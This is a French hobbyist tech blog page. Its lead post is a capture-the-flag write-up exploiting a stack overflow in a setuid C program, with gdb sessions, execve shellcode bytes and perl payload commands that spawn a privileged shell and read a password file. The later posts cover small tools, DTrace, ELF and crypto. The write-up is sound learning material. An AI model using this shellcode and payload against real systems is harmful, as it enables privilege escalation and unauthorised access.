unix4fun

Aller au contenu | Aller au menu | Aller à la recherche

vendredi 23 septembre 2016

Exploiter un stack overflow à l'ancienne.

Youpla la compagnie! Ça fait un bail non? :) Bon, récemment je me suis mis à regarder un peu les vieilles failles de sécu des années 90'/début 2000. Ok ok, de nos jours c'est complètement différent, on a des milliards de protections (PIE, ASLR, relro, stack canary, etc). Mais pour ma culture générale, j'ai voulu regarder. J'ai donc cherché sur google un site proposant des challenges, et je suis tombé sur l'un d'eux qui est vraiment bien fichu: il propose une dizaine de catégories (web, cryptanalyse, crackme, exploitation système, etc). Il propose de se connecter sur des machines où l'environnement est déjà préparé, etc.

NOTE: je ne le nomme pas, non pas pour ne pas faire de la publicité, mais parce qu'en traînant un peu mes guêtre par là, les administrateurs n'aiment pas trop que les solutions se trouvent trop facilement sur le net. Donc je vais tenter de rendre la recherche de solution un peu plus compliquée tout en restant cohérent (j'espère).

Donc jy bondis:

maison$ ssh -p 2222 user@<hostname>
[...]
$ ls -la
total 28
dr-xr-x---  2 user-cracked user          4096 May 21  2015 .
drwxr-xr-x 22 root                     root                      4096 Mar  2  2016 ..
-r-sr-x---  1 user-cracked user         10511 May  4  2013 prog
-r--r-----  1 user         user          1277 Jan  7  2011 prog.c
-r--r-----  1 user-cracked user-cracked    13 Feb  8  2012 .passwd
$ id
uid=1110(user) gid=1110(user) groups=1110(user),100(users)


L'objectif ici est d'exécuter le programme "prog", qui est setuid, et de l'exploiter pour pouvoir lire le contenu du fichier .passwd.

$ cat prog.c
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <ctype.h>
#include <unistd.h>
#include <sys/types.h>

#define BUFFER 512

struct Init
{
  char username[128];
  uid_t uid;
  pid_t pid;

};

void cpstr(char *dst, const char *src)
{
  for(; *src; src++, dst++)
    {
      *dst = *src;
    }
  *dst = 0;
}
void chomp(char *buff)
{
  for(; *buff; buff++)
    {
      if(*buff == '\n' || *buff == '\r' || *buff == '\t')
        {
          *buff = 0;
          break;
        }
    }
}
struct Init Init(char *filename)
{

  FILE *file;
  struct Init init;
  char buff[BUFFER+1];


  if((file = fopen(filename, "r")) == NULL)
    {
      perror("[-] fopen ");
      exit(0);
    }

  memset(&init, 0, sizeof(struct Init));

  init.pid = getpid();
  init.uid = getuid();

  while(fgets(buff, BUFFER, file) != NULL)
    {
      chomp(buff);
      if(strncmp(buff, "USERNAME=", 9) == 0)
        {
          cpstr(init.username, buff+9);
        }
    }
  fclose(file);
  return init;
}
int main(int argc, char **argv)
{
  struct Init init;
  if(argc != 2)
    {
      printf("Usage : %s <config_file>\n", argv[0]);
      exit(0);
    }
  init = Init(argv[1]);
  printf("[+] Runing the program with username %s, uid %d and pid %d.\n", init.username, init.uid, init.pid);

  return 0;
}


Visiblement dans ce challenge on a un stack overflow classique dans cpstr(),mais en plus il faut faire attention à préserver certaines valeurs sur la pile. En effet dans Init(), on peut voir un:

  fclose(file);
  return init;


Si on ne fait pas attention à ce que `file' ait une valeur correcte, l'appel à fclose() va faire crasher l'application avant le return, et nous empêcher d'exploiter l'overflow.

Typiquement le contenu du fichier devrait alors être de cette forme:


"USERNAME=" [JUNK pour remplir le buffer] ... [file pointer] ... [ new eip ]


Avec `new eip qui doit écraser $eip, et sauter dans du code qu'on veut donc faire exécuter.

Comme notre overflow va écraser les autres éléments de la structure Init, on va faire en sorte de mettre des valeurs qui facilitent le debug: -1 pour l'uid et -2 pour le pid.

$ mkdir /tmp/prout && export binpath=/tmp/prout/foo.bin
$ export uid="\xff\xff\xff\xff"
$ export pid="\xfe\xff\xff\xff"


On va faire tourner le programme dans gdb afin de savoir la valeur retournée par fopen(), pour la restaurer avant le fclose():

$ gdb ./prog
[...]
gdb$ disas Init
[...]
   0x080485bd <+20>:    mov    DWORD PTR [esp+0x4],edx
   0x080485c1 <+24>:    mov    DWORD PTR [esp],eax
   0x080485c4 <+27>:    call   0x8048480 <fopen@plt>
   0x080485c9 <+32>:    mov    DWORD PTR [ebp-0x1c],eax
[...]


On met donc un breakpoint juste apres le fopen() pour connaître la valeur du pointeur (en général les valeurs de retour sont dans $eax, et la ligne +24 nous le confirme, puisqu'on empile le contenu de $eax pour passer cette valeur à fclose():

gdb$ b *0x080485c9
Breakpoint 1 at 0x80485c9: file binary10.c, line 45.
gdb$ r /tmp/prout/foo.bin
[...]
Breakpoint 2, 0x080485c9 in Init (filename=0xbffffc80 "/tmp/prout/foo.bin") at binary10.c:45
45      in prog.c
gdb$ i r eax
eax            0x804b008        0x804b008


On est content, on a la valeur du FILE * qu'on désire sauver:

$ export fileptr="\x08\xb0\x04\x08"


Ensuite on exporte notre shellcode (on peut en trouver partout sur le net)...

$ export shellcode=$(perl -e 'print "\x90"x128 . "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80"')


On écrit ensuite un petit programme pour récupérer l'adresse d'une variable d'environnement donnée, pour un programme donné (on se met dans un répertoire avec les droits d'écriture -- par exemple dans /tmp):

$ cat getenv.c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int
main(int argc, char **argv)
{
        char *p = NULL;

        if(argc < 3) {
                fprintf(stderr, "Usage: %s <env name> <binary>\n", argv[0]);
                return EXIT_FAILURE;
        }

        p = getenv(argv[1]);
        p += (strlen(argv[0]) - strlen(argv[2])) * 2;
        printf("%s is set at %p\n", argv[1], (void *) p);

        return EXIT_SUCCESS;
}
$ cc -o getenv getenv.c -m32
$ ./getenv shellcode $HOME/prog
0xbffffd47


Ok! Enfin on peut tester ce programme!

$ perl -e 'print "USERNAME=" . "A"x128 . "'$uid'" . "'$pid'" . "'$fileptr'" . "B"x32 . "\x47\xfd\xff\xbf"' > "$binpath"  && ./ch10 "$binpath"
Segmentation fault


Pour avoir des infos supplémentaires je copie le binaire dans /tmp/prout:

$ cp ./prog /tmp/prout
$ ulimit -c unlimited


Maintenant un SIGSEGV me donnera quelque chose a manger:

$ perl -e 'print "USERNAME=" . "A"x128 . "'$uid'" . "'$pid'" . "'$fileptr'" . "B"x32 . "\x47\xfd\xff\xbf"' > "$binpath"  && ./ch10 "$binpath"
Segmentation fault (core dumped)
$ gdb ./prog core
Core was generated by `./prog /tmp/prout/foo.bin'.
Program terminated with signal 11, Segmentation fault.
#0  0x42424242 in ?? ()


Ah? Je me serais planté de 4 bytes pour l'adresse dans la stack ou je devrais écraser $eip? Ok... bon ben on décale alors, histoire de faire coïncider l'adresse du shellcode dans l'environnement avec $eip. On insère donc 28x"B" au lieu de 32, et on rajoute un gentil petit canary apres l'adresse, au cas où.

$ perl -e 'print "USERNAME=" . "A"x128 . "'$uid'" . "'$pid'" . "'$fileptr'" . "B"x28 . "\x47\xfd\xff\xbf" . "C"x4' > "$binpath"  && ./prog "$binpath"
Segmentation fault (core dumped)
[...]
Core was generated by `./prog /tmp/prout/foo.bin'.
Program terminated with signal 11, Segmentation fault.
#0  0x080486aa in Init (filename=0xbffffb00 "T\377\377\277u\377\377\277~\377\377\277\227\377\377\277\316\377\377\277\327\377\377\277\354\377\377\277") at binary10.c:65
65      binary10.c: No such file or directory.


Euh? Bon, si on regarde le code assembleur, on remarque que l'épilogue de la fonction Init() est différent de l'ordinaire. De même que dans main(), on réserve de la place pour le 'struct Init Init' qui sera retourné par Init() Donc l'espace sur la stack va être écrasé par la copie de l'objet de type 'struct init'... ce qui va écraser tout ce qu'on avait pris soin de construire avec nos petits doigts boudinés. En effet, en sortie de Init(), on a:

   [...]
   0x08048699 <+240>:   lea    ebx,[ebp-0xa4]
   0x0804869f <+246>:   mov    eax,0x22
   0x080486a4 <+251>:   mov    edi,edx
   0x080486a6 <+253>:   mov    esi,ebx
   0x080486a8 <+255>:   mov    ecx,eax
   0x080486aa <+257>:   rep movs DWORD PTR es:[edi],DWORD PTR ds:[esi]
   0x080486ac <+259>:   mov    eax,DWORD PTR [ebp+0x8]
   0x080486af <+262>:   add    esp,0x2ac
   0x080486b5 <+268>:   pop    ebx
   0x080486b6 <+269>:   pop    esi
   0x080486b7 <+270>:   pop    edi
   0x080486b8 <+271>:   pop    ebp
   0x080486b9 <+272>:   ret    0x4


On fait encore quelques tests, en mettant que des \x47\xfd\xff\xbf a la place des "B", pour valider cette hypothèse:

$ perl -e 'print "USERNAME=" . "A"x128 . "'$uid'" . "'$pid'" . "'$fileptr'" . "\x47\xfd\xff\xbf"x8 . "C"x4' > "$binpath"  && ./prog "$binpath"
Illegal instruction (core dumped)


Bon! Inspectons ça un peu mieux: on met un breakpoint juste avant le `ret' de la fonction Init(), puis on exécute une instruction:

gdb$ ni
0xbffffd47 in ?? ()

gdb$ x/16x 0xbffffd47
0xbffffd47:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffffd57:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffffd67:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffffd77:     0x41414141      0x41414141      0x41414141      0x41414141


Hop, direct dans le buffer... Du coup, l'idée est que plutôt d'utiliser une variable d'environnement à l'adresse de laquelle on souhaite sauter, on va directement insérer notre shellcode dans le buffer init.username qu'on remplit en lisant le fichier. Comme le buffer fait 128 bytes et que le shellcode fait 25 bytes, on préfixe avec 103 NOP (0x90), et on termine avec ce qu'on souhaite faire exécuter:

$ export shbuf=$(perl -e 'print "\x90"x103 . "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80"')
$ perl -e 'print "USERNAME=" . "'$shbuf'" . "'$uid'" . "'$pid'" . "'$fileptr'" . "B"x28 . "\x47\xfd\xff\xbf"x2' > "$binpath"  && ./prog"$binpath"
sh-4.2$
sh-4.2$ id
uid=1110(user) gid=1110(user) euid=1210(user-cracked) groups=1210(user-cracked),100(users),1110(user)
sh-4.2$ cat .passwd
Tirelipimponsurlechiwawa!


Et youpi les knackis, on peut valider ce challenge!

dimanche 5 avril 2015

We're back!

Ça fait un bail!$#@!$@# il fallait se remettre un peu au boulot, pendant ces longues vacances, j'ai découvert un peu ...

Et comme je me trimbalais avec une vieille bidouille de crypto d'un pote que j'avais vaguement modde, j'ai décidé de re-écrire un truc de crypto a peu près propre pour le blabla IRC (c) entre potes :)

Ça s'appelle AC pour Another Crypto , c'est ma première crotte en Go, c'est pas très beau, mais ça marche assez bien et ça m'a permis de découvrir un peu le langage...

Avec des choses simples, les opérations de crypto ne se passent pas dans le client, ni dans le script mais dans un binaire 'ac' qui se lance au moment du chargement du script dans "weechat" (oui je n'ai fait le support que pour weechat pour le moment) les clefs ne transitent jamais, le binaire n'est la que pour chiffrer, déchiffrer, obtenir ou stocker une clef publique, préparer un blob pour un échange de clefs avec un destinataire etc.. enfin de la crypto, du coup le client ne sait rien, le script ne sait rien, il communique avec ce binaire via stdin en utilisant une autre découverte protobuf.

Le tout utilise de l'AEAD (Authenticated Encryption with Associated Data) avec NaCL, SHA-3, Curve 25519, etc...

bref comme herta dirait: le gout des choses simples...

Feedback appreciated, voila le lien (encore) pour les sources, la mytho-doc, etc..:

https://github.com/unix4fun/ac

Yay! we're back :)

mardi 31 décembre 2013

Happy New Year! PoC||GTFO

A lire avant la fin de l'année ;) PoCorGTFO

mardi 22 octobre 2013

Je fais comment? combien? c'est quoi le standard? mince mais je..

Comme je bidouille un peu de crypto en ce moment, je me posais la question de la taille des clefs associées, en fonction de leur implémentations ainsi que leur nature (RSA, EC, primitive EC, etc.. secp521r1, blablabla )

avec des questions genre, si je dois avoir une sécurité vaguement solide (n'implementez rien vous même, c'est trop simple de faire une connerie en crypto... je l'ai appris aussi... a mes dépends...)

j'ai découvert un petit site bien pratique, qui fait une synthèse semblant consistante quand vous implementez votre crypto (tm), genre ok AES-256, EC 512 (521 en fait), SHA-512 selon les standard ECRYPT II || NIST || ANSSI || NSA (haha) || BSI , etc... , ca se passe ici: http://www.keylength.com/en/3/

enjoy!

mercredi 9 octobre 2013

Un compresseur de fichier ? T'es Ouf, man !

Ok la blague du titre est naze, mais j'assume. Après une micro-discussion sur IRC, je me décide à programmer un chtit outil (en C, on se refait pas), qui fait de la compression/décompression de fichier. Super basique, le truc, il travaille entièrement en mémoire, gère pas le streaming de données, etc. Et en plus il a un ratio de compression à chier, mais c'est pas grave.

Le truc utilise l'algorithme naïf de huffman. Le code, c'est par ici !

Démonstration!

$ ll hosts*
-rw-r--r-- 1 poz poz 236 Oct  9 18:56 hosts
$ moizip hosts
$ ll hosts*
-rw-r--r-- 1 poz poz 236 Oct  9 18:56 hosts
-rw-r---- 1 poz poz 198 Oct  9 18:57 hosts.mz
$ moizip -d hosts.mz -o hosts.unpack
$ ll hosts*
-rw-r--r-- 1 poz poz 236 Oct  9 18:56 hosts
-rw-r--r-- 1 poz poz 198 Oct  9 18:57 hosts.mz
-rw-r--r-- 1 poz poz 236 Oct  9 18:57 hosts.unpack
$ diff hosts hosts.unpack 
$ for i in hosts hosts.unpack ; do md5sum $i ; done
0d0fc374ead17cd82f1bdd203dd4f04a  hosts
0d0fc374ead17cd82f1bdd203dd4f04a  hosts.unpack
$ 

Ah... ouais, le tool s'appelle moizip, faut regarder les choses en face :)

mercredi 10 juillet 2013

Un petit coup de main en cas de debug

Yo les gens.

Franchement, ça ne vous est jamais arrivé d'avoir codé un programme qui tourne, et puis parfois, *poof*, le truc explose en vol après un temps qui rend difficile le debug ? Je veux dire, c'est pas trop possible de lancer le binaire dans gdb ou valgrind, sinon il rame sa mère et on n'a pas 10 ans pour attendre le crash. Idem quand on le link avec la libefence.

Ben voilà. Un collègue avait émis l'idée de coder un shared object qu'on preload via LD_PRELOAD, et qui va invoquer gdb sur la réception de certains signaux. Pas de ralentissement, et en cas de crash on a directement un gdb qui est là, tout frais, et qui nous attend. C'est pratique non ?

Bon alors le code est pas super portable (dlopen sur la libc.6.so, les numéros des signaux écrits en dur dans le code), mais ça fait le taff. C'est par ici.

mercredi 3 avril 2013

CUDA pour piger les bases...

Je me prends la tete depuis qqes jours/semaines de temps en temps sur la doc CUDA,
tout n'est pas très clair, mais ça l'est devenu un peu plus grâce a ce lien :

http://www.caam.rice.edu/~timwar/RMMC/CUDA.html

Enjoy!

mardi 12 février 2013

Trill et private vlans

Je bosse chez gandi.net, et bien que je n'aime pas trop l'autopromotion : il se trouve qu'on est en train de sortir quelque chose d'assez sympa. Trill (L2 routing) pour les intimes... mais aussi et surtout Private vlans over Trill. L'implémentation linux sera opensource (date pas encore définie puisque très dépendante de la kernel team linux). Un document sera bien mieux que mes babillages.

dimanche 23 décembre 2012

OS/X et BPF

rhalalal je perds parfois du temps en conneries, la j'en ai vraiment perdu beaucoup sur une bêtise...
Je ne pigeais pas pourquoi un read(bpf_fd, buffer, size) me retournait un EINVAL a chaque fois...

et j'ai juste relu religieusement bpf(4) et voila ce qu'on y trouve d'intéressant en étant un tout petit peu "attentif":

[...]
Reads from these files return the next group of packets that have matched the filter.  To improve per-
formance, the buffer passed to read __MUST BE THE SAME SIZE AS THE BUFFERS USED INTERNALLY BY BPF__.  This
size is returned by the BIOCGBLEN ioctl (see below), and can be set with BIOCSBLEN.  Note that an indi-
vidual packet larger than this size is necessarily truncated.
[...]

Et voila... c'est aussi bête que ça et ça marche... grmlbmlmb

dimanche 11 novembre 2012

Touche ton NetBSD toi aussi sur ta tablette convi

Voilà, je l'avais promis un peu plus tôt, mais mieux vaut tablette que ma blette: les slides de ma présentation "Touche ton NaiteBaihaiSsDai" au hackathon NetBSDfr. Le hackathon n'est pas fini d'ailleurs, vous pouvez encore vous y pointer demain!

Les liens utiles:

mardi 2 octobre 2012

Le stockage flash pour les nuls

L'autre jour je suis allé à l'une des trop rares conférences sur le kernel linux. Et l'une de ces conférences était claire précise et assez bien expliquée. Cette conférence est donnée par un des monsieur qui gèrent les fs flash et une partie du sous-systeme mtd du kernel linux : david woodcombe. Bref ça se passe par ici.

samedi 15 septembre 2012

Et voici MoisiFS !

Salut les gens !

Oui oui, vous l'aurez deviné, je présente (façon de parler) ici un truc que je viens de coder : un filesystem FUSE au-dessus des fichiers au format ELF.

Bon alors là, tout de suite, logiquement vous me dites "euh ok c'est bien gentil ton truc mais ça sert à quoi ?", ce à quoi je réponds "rien !". Plus sérieusement, ça sert à se faire un peu la main sur FUSE (donc vous pouvez regarder le code pour vous faire une idée, j'ose espérer qu'il n'est pas trop cracra). Ça peut également servir à des fins pédagogiques : voir la structure d'un fichier ELF, tout ça...

Bon, le but avoué, c'est qu'à terme, on puisse modifier un binaire, ou carrément un processus en cours via le point de montage. Par exemple en faisant un truc du genre :


echo 0x424242 > /mnt/elf/entrypoint
sed -i "s:generic_func:myhook_func:g" /mnt/elf/symbols

Ou autres trucs du genre ! Amusant non ? Non ? Bon.. ok... j'retourne coder d'autres crottes en silence...

Sinon pour l'instant on peut juste faire 2-3 trucs en read-only:

  • monter un binaire sur disque ou un process en cours d'exécution (expérimental, tout ça...)

$ elfs /usr/bin/screen /mnt/elf
ou
$ sudo elfs -p $(pidof screen) /mnt/elf

  • lister les lib (répertoire /mnt/elf/libs/)

$ ls -l /mnt/elf/libs
total 0
-rwxrwxrwx 0 root root  9 1970-01-01 01:00 libc.so.6
-rwxrwxrwx 0 root root  9 1970-01-01 01:00 libm.so.6
-rwxrwxrwx 0 root root 11 1970-01-01 01:00 libX11.so.6
-rwxrwxrwx 0 root root 11 1970-01-01 01:00 libXaw.so.7
-rwxrwxrwx 0 root root 11 1970-01-01 01:00 libXft.so.2
-rwxrwxrwx 0 root root 15 1970-01-01 01:00 libxkbfile.so.1
-rwxrwxrwx 0 root root 11 1970-01-01 01:00 libXmu.so.6
-rwxrwxrwx 0 root root 15 1970-01-01 01:00 libXrender.so.1
-rwxrwxrwx 0 root root 10 1970-01-01 01:00 libXt.so.6

  • visualiser le header ELF à-la readelf -h (fichier /mnt/elf/info)

$ cat /mnt/elf/info
Ident:                             7f 45 4c 46 02 01 01 00 00 00 00 00 00 00 00 00 
Version:                           1
Class:                             64
Type:                              EXEC (Executable file)
Version:                           1
ELF Header size:                   64 bytes
Entry point:                       0x402550
Program Header offset:             64 bytes
Program Header entry size:         56 bytes
Number of Program Header entries:  9
Section Header offset:             40768 bytes
Section Header entry size:         64 bytes
Number of Section Header entries:  28
SH string table index:             27

  • lister les sections, dans /mnt/elf/sections : bss, data, symtab, dynsym, etc

$ ls -l /mnt/elf/sections/
total 0
drw------- 1 root root 0 1970-01-01 01:00 bss
drw------- 1 root root 0 1970-01-01 01:00 ctors
drw------- 1 root root 0 1970-01-01 01:00 data
drw------- 1 root root 0 1970-01-01 01:00 dtors
drw------- 1 root root 0 1970-01-01 01:00 dynamic
dr-------- 1 root root 0 1970-01-01 01:00 dynstr
dr-------- 1 root root 0 1970-01-01 01:00 dynsym
[...]

  • lister les symboles dans /mnt/elf/sections/symtab et /mnt/elf/sections/dynsym

$ ls -l /mnt/elf/sections/dynsym/|tail -5
d--------- 1 root root 0 1970-01-01 01:00 XtStrings
d--------- 1 root root 0 1970-01-01 01:00 XtWidgetToApplicationContext
d--------- 1 root root 0 1970-01-01 01:00 XtWindow
d--------- 1 root root 0 1970-01-01 01:00 XtWindowOfObject
d--------- 1 root root 0 1970-01-01 01:00 XUnionRectWithRegion

  • pour chaque symbole, lire ses infos (STT_FUNC, etc) et son code, au format binaire ou asm (code.bin et code.asm)... mieux vaut que le binaire soit compilé en debug, ou du moins avec les symboles, et non stripé, sinon vous allez vous retrouvez en galère d'infos

$ ls -l /mnt/elf/sections/symtab/dup_regex_free/
total 0
---------- 0 root root 363 1970-01-01 01:00 code.asm
---------- 0 root root  78 1970-01-01 01:00 code.bin
---------- 0 root root  69 1970-01-01 01:00 info

$ cat /mnt/elf/sections/symtab/dup_regex_free/code.asm
push rbp
mov rbp, rsp
sub rsp, 0x10
mov [rbp-0x8], rdi
mov rax, [rbp-0x8]
mov rax, [rax+0x48]
test rax, rax
jz 0x35
mov rax, [rbp-0x8]
mov rax, [rax+0x48]
mov rdi, rax
call dword 0xfffffd9c
mov rax, [rbp-0x8]
mov qword [rax+0x48], 0x0
mov rax, [rbp-0x8]
mov eax, [rax+0x50]
test eax, eax
jz 0x4c
mov rax, [rbp-0x8]
mov rdi, rax
call dword 0xfffffeac
leave 
ret 

Ouala pour l'instant c'est tout....

J'essaie d'ajouter des trucs quand j'ai le temps mais bon, d'une part j'suis pas mal occupé à faire des trucs pas intéressants, et en plus je code comme une buse et à la lenteur d'un cloporte arthritique, c'est pas gagné...

Le code : c'est par ici !

Bref, see ya dudes!

Ah j'oubliais un truc important : c'est Linux-only... hey ouais, j'ai pas trouvé de truc plus malin que checker /proc/pid/exe pour avoir l'adresse de mapping du binaire depuis le PID. On me souffle dans l'oreille de faire des trucs sioux avec ptrace() + les registres, qui donnent un emplacement dans le code, puis checker en arrière les adresses modulo _sysconf(_SC_PAGESIZE) pour essayer de retomber sur les 4 bytes ELF_MAGIC du header. Plus tard plus tard... déjà on va essayer de faire en sorte que ça SIGSEGV pas trop :P

EDIT: hop, apparemment maintenant ça compile/tourne sous freebsd (j'ai pas pu tester mais le bon sbz m'a envoyé un patch qui fait le taff)

lundi 20 août 2012

Le lapsus du jour: failvault2

Un paper marrant sur le fonctionnement de l'implementation de filevault2 sous OS/X, interessant pour voir comment sont derives les user keys, les recovery keys et comme ils se faisaient chier, ils ont decide de fournir une lib pour mounter/acceder a ton volume CoreStorage/Filevault depuis ailleurs ou ecrire tes tools avec, a lire, vraiment! :)

Enjoy!

jeudi 7 juin 2012

On est encore là, prêts à foutre le souk tout l'monde est cor-da !

Une petite news pour dire qu'on vit encore, et j'en profite pour vous vendre un tool bien sympathoche.

Un collègue de bureau m'a montré l'existence de cppcheck, et je dois dire que c'est pas mal du tout, ce truc.

C'est un outil d'analyse statique pour du C/C++. Il est intégré (ou intégrable) à des IDE, pour ceux qui s'en servent, pour plus de facilité d'utilisation.

Ça sort des rapports au format xml/html faciles à exploiter, il y a relativement peu de faux positifs, trouve aisément des memory leaks, etc.

Bref, une petite passe sur chaque projet aide à trouver des bugs en très peu de temps.

Ouala, c'est tout, enjoy ! :)

Edit : il y a aussi l'utilitaire de la suite clang, le bien nommé `scan-build'. Dans un repository il suffit de taper `scan-build make' puis `scan-view <nom du rapport>'. Ça marche bien et c'est un bon complément à cppcheck.

mardi 20 mars 2012

Dtrace et les gens du voyage...

Ok j'ai dû chercher, alors si je peux faire gagner un peu de temps à d'autres âmes perdues comme la mienne! J'avais envie de pouvoir sniffer les i/o sur n'importe quel process avec des filtres genre sur les file descriptors (ou FD), sur le type de FD ou sur le nom du process, etc.. histoire de voir dans les protocoles de communication locaux (genre via socket unix de pute de merde $@#!$!@#) comment un daemon communique avec son environnement ou comment (exemple d'OS/X) un programme peut communiquer avec le kernel, oui oui sous OS/X ça "peut" se passer via une socket() et pas via un /dev/bla, ioctl() etc.. ca existe aussi mais dans mon cas c'était dans mon cul... bref...

Donc j'ai commencé par ecrire un LD_PRELOAD, mais ce n'est pas le sujet, je me suis amusé avec dtrace(1) pour voir; pas mal d'outils sous OS/X utilisent dtrace(1), comme "dtruss(1m)" (fourni par default sous OS/X), je vous laisse chercher pour tous les trouver, mais voila un premier pas:

J'en reviens a mon process, je sais pas ce qu'il fait, j'aimerais voir ses read()/write(), je passe un coup d'"lsof" (aka LiSt Open Files) pour voir les FDs (File Descriptors, je me répète et j'en vois plein... alors je me dis merde, j'aimerais bien voir où il écrit, juste voir ce qui se passe sur ce FD, etc... je cherche un peu et je tombe sur:

Content, je m'en vais essayer, mais deception...:

# rwsnoop -p 377
  UID    PID CMD          D   BYTES FILE
  501    377 iTerm        R      42 ptmx
  501    377 iTerm        R      42 ptmx
  501    377 iTerm        R      42 ptmx
  501    377 iTerm        R      42 ptmx
  501    377 iTerm        R      42 ptmx
  501    377 iTerm        R      42 ptmx
  501    377 iTerm        R      42 ptmx
  501    377 iTerm        R      42 ptmx
  501    377 iTerm        R      42 ptmx
  501    377 iTerm        R      42 ptmx

Beuh il me print pas le contenu du read()/write(), genre un bel hexdump aurait été bien agréable, ensuite je ne peux pas filtrer par file descriptor (genre je veux voir juste le #6, je sais ce que c'est $#@!$@#!) et j'aimerais aussi pouvoir voir (quand ça n'est pas un fichier) le type de socket (vu que le type n'est pas fourni par la variable interne dtrace "fds"), histoire de savoir ce qui se passe vraiment et pas croire que c'est une vnode alors qu'en fait c'est une socket à la noix... bref...

Donc la première étape, c'est de dumper le contenu du read()/write() et le return code, c'est parti... je vais expliquer rapidement:

syscall::read:entry
/<predicate>/
{
    self->fd = arg0;
    self->rarg1 = arg1;
    self->rarg2 = arg2;
[...]
}

En gros à l'entrée de read() je sauve les arguments, oui je veux afficher mon code de retour et le read() n'a pas encore été exécuté donc le buffer est toujours vide... du coup :

syscall::read:return
/<predicate>/
{
    buffer = copyin(self->rarg1, arg0);
    tracemem(buffer, $opt_dumpsz);
    printf(\"\n\");
}

donc la à la fin de l'exec, je prends le code de retour (arg0), je copie tout ca dans un buffer local (oui oui on est dans l'addressage du noyau là...) et j'affiche le contenu de la mémoire avec tracemem() tout joli en fonction du type, mais si comme moi vous préférez TOUJOURS avoir un hexdump, magie, simplicité, élasticité... on rajoute ça au debut de son script:

#pragma D option rawbytes

voilà là on voit le contenu avec ce format:

             0  1  2  3  4  5  6  7  8  9  a  b  c  d  e  f  0123456789abcdef
         0: 03 4f 42 7e 3b 39 35 3b 63 a8 11 16 01 00 00 00  .OB~;95;c.......
        10: 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00  ................
        20: 36 00 18 00 00 00 00 00 f0 f0 52 00 01 00 00 00  6.........R.....
        30: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................

autre galère, retrouver le type de FD, apres avoir parcouru, diverses choses, je conseille donc aux gens qui se cassent la tête, de farfouiller dans ces liens:

je finis par aller voir si dans les struct du noyau je peux accéder à la struct proc (oui elle contient les FDs du process!!), je resume vite fait et simplement il faut passer par la struct task puis récupérer la struct proc (via bsd_info de la structure task), struct filedesc, blablabla jusqu'à la struct fileglob et on finit par voir que la struct proc est accessible via curproc dans dtrace(1), apres du déréferencement à la main on arrive à ça:

curproc->p_fd->fd_ofiles[<FD_num_as_index_of_this_array>]->f_fglob->fg_type

c'est un int avec pour valeurs possibles:

/* file types */
 145#define DTYPE_VNODE     1       /* file */
 146#define DTYPE_SOCKET    2       /* communications endpoint */
 147#define DTYPE_PSXSHM    3       /* POSIX Shared memory */
 148#define DTYPE_PSXSEM    4       /* POSIX Semaphores */
 149#define DTYPE_KQUEUE    5       /* kqueue */
 150#define DTYPE_PIPE      6       /* pipe */
 151#define DTYPE_FSEVENTS  7       /* fsevents */
 152

And voilà....!! maintenant vous reste plus qu'à faire l'amas de ces informations et hop vous avez vos filtres dans votre gentil script dtrace(1)! :)

Maintenant répétez les operations pour avoir filename, socket endpoint, en fonction du type, etc... vous aurez tout ce que vous voulez.

Bon je suis fatigué d'écrire ce truc... j'espère que ça servira à quelqu'un, je retourne lire mes trucs de glands...

lundi 19 mars 2012

Android SDK, NDK, Kafka, Troika, des trucs en ..ka

Un tres simple introduction au NDK Android sur un billet sympathique et a lire pour ceux qui veulent s'y mettre! (et le cross compilo facile c'est par la aussi!! :))

https://www.synthetos.com/blog/native-embedded-code-on-android/

jeudi 16 février 2012

Stop! Hamming time!

Dans la même veine qu'un précédent ticket, j'avais besoin de faire une tâche particulière : calculer la distance de Hamming entre plusieurs fichiers, dans un objectif absolument top secret de ouf.

Contrairement à fdup(1), cette fois j'ai (rapidement) cherché dans les dépôts debian/ubuntu si un truc existait déjà. En regardant un peu kdiff3, xdelta, etc, j'ai rien trouvé de bien satisfaisant, alors je l'ai codé. C'est absolument bidon, je préviens, mais ptet que ça servira à quelqu'un, sait-on jamais...

C'est par ici : hamming.

lundi 13 février 2012

Ah ah ! Je ne suis pas dupe !

Bon, ce week end je me faisais passablement chier, et en explorant le contenu de mon $HOME je me suis rendu compte que c'était un peu le bordel, quand même. Des fichiers inutiles, des doublons, etc.

Du coup, illumination, le doigt du génie a effleuré mon front obtus l'espace d'un instant : et si je codais un truc-machin pour repérer tous les fichiers identiques sur ma machine ?!

Et voilà, fdup est né (c'est du C, parce que comme je m'embêtais je voulais pas faire un "one-liner" en shell avec find(1) + awk(1), faut bien s'occuper) ! C'est super minimaliste pour l'instant, hein, y'a genre 2-3 options qui se tirent la bourre, et pis c'est tout.

Je vous entends ricaner d'ici : bien sûr qu'il y a d'autres outils qui font le même boulot (fdupes(1), duff, y'a même un fdup déjà présent sur github -- bon, la description dans le README est un peu nawak mais on s'en fout !), mais ça, je m'en suis aperçu qu'après mon premier commit. Comme d'hab'.

jeudi 9 février 2012

Beh, ça glande pas chez Mozilla.

Un post intéressant sur l'optimisation du startup de firefox, notamment dans le traitement des I/O.

Ça rentre dans les détails de la structure d'un binaire (libxul.so ici) et combine l'analyse avec l'utilisation de scripts intéressants basés sur stap.

Bref, ça vaut le coup d'oeil, et c'est ici

vendredi 30 décembre 2011

Et son nom, il le signe de la pointe de l'épée ...

... ou à la fin de son mail (je sais c'est pas ça la chanson).

Et comme il est fainéant, il aimerait bien que ce soit automatique. Enfin surtout ses copains (qui sont pires que lui).

Si vous avez suivi vous avez vu que je découvre Postfix et son monde merveilleux. Ainsi j'ai découvert (bin oui puisque je découvre) que dans ce contexte là, quand on parle de signature, on en revient souvent à altermime.

J'ai donc mis en place cet outil plutôt sympa grâce à tous les supers tutoriaux qu'on trouve sur le net. Ma maigre contribution de cette fin d'année sera de vous donner le script qui permet d'avoir :

  • un mécanisme simple pour gérer les signatures user par user
  • un mécanisme simple pour gérer un disclaimer générique à un domaine
